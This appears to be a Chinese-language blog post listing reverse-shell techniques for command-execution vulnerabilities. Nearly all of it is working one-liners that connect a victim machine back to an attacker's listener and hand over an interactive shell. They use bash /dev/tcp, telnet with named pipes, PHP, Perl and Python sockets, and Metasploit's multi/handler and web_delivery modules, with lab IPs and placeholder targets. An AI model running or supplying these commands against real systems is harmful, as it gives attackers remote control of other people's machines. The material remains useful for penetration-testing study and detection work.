反弹shell

反弹shell一般利用在命令执行漏洞中
在Netcat的学习中我们学习了如何使用nc -e /bin/bash反弹shell
这里分享一些除了nc以外其他的反弹方式

Bash反弹shell

bash -i >& /dev/tcp/IP地址/端口 0>&1

/dev/tcp,udp,host,port等是一些特殊的设备,可以进行读取和写入建立socket连接
0 : 标准输入
1 : 标准输出
2 : 错误输出
0>&1 ,将标准输入显示到标准输出

bash -i >& /dev/tcp/IP地址/端口这一段是将我们 bash 执行的命令输出到 /dev/tcp/目标地址/目标端口中 ,可以这样简单的理解
攻击机:nc -lvp 866

靶机:bash -i >& /dev/tcp/172.16.1.111/866 0>&1

执行后靶机将会无法执行命令

反弹成功

python更改终端

有时候我们获取的shell用着很不舒服,可以使用pty模块获取一个bash
python -c "import pty;pty.spawn('/bin/sh')"

telnet反弹shell

mknod 设备名 p && telnet targetIp 8080 0<设备名 | /bin/bash 1>设备名

利用telnet建立连接|交给bash处理执行系统命令,0<设备名将我们输入传入,1>设备名将我们输入传输
攻击机:nc -lvp 866

靶机:mknod test p && telnet 172.16.1.111 866 0<test | /bin/bash 1>test

执行后回到攻击机

另一种 telnet 反弹

我们在攻击机监听1234端口,靶机执行命令telnet 172.16.1.111 1234| /bin/bash

可以看到,我们好像是共享了bash,攻击机执行命令试一下

并没有任何回显,回到靶机

发现我们执行的命令在靶机中执行了,哈哈哈
猜想,我们再次| telnet 172.16.1.111 8888连接攻击机的另一个端口,交个这个端口处理,会不会就显示过去了?
实验:攻击机创建连个命令行,分别监听1111和2222端口
nc -lvp 1111nc -lvp 2222


在靶机执行我们猜想的命令

telnet 172.16.1.111 1111 | /bin/bash | telnet 172.16.1.111 2222


执行成功,回到攻击机我们在1111端口执行命令,在2222端口查看结果


成功反弹shell,哈哈哈,还有这种怪异的方法

php反弹

php 反弹就是利用exec命令执行函数,都然也可以不使用exec函数建立连接

php -r 'PHP代码'可以执行PHP代码,例如:php -r 'echo "hello world";'

php -r 'exec("/bin/bash -i >& /dev/tcp/targetIP/port 0>&1");'
php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

这两条都很类似,利用exec函数进行反弹shell

perl反弹

perl 是一个程序语言,运行在大多数计算机中

perl -e 'use Socket;$i="targetIP";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python反弹

python -c 可以执行Python代码,例如:python -c 'print("hello world")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻targetip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在我们反弹shell成功之后,如果终端有问题,可以使用python -c 'import pty;pty.spawn("/bin/bash")'

msf 反弹

msf反弹一般用到两个模块

木马反弹

exploit/multi/handler,使用handler本地监听exp,使用msfvenom生成木马并在靶机执行我们的木马,返回session

命令反弹

exploit/multi/script/web_delivery,使用web_delivery本地监听生成exp,在靶机执行命令,返回session

posted @ 2022-03-14 19:56  Junglezt  阅读(571)  评论(0编辑  收藏  举报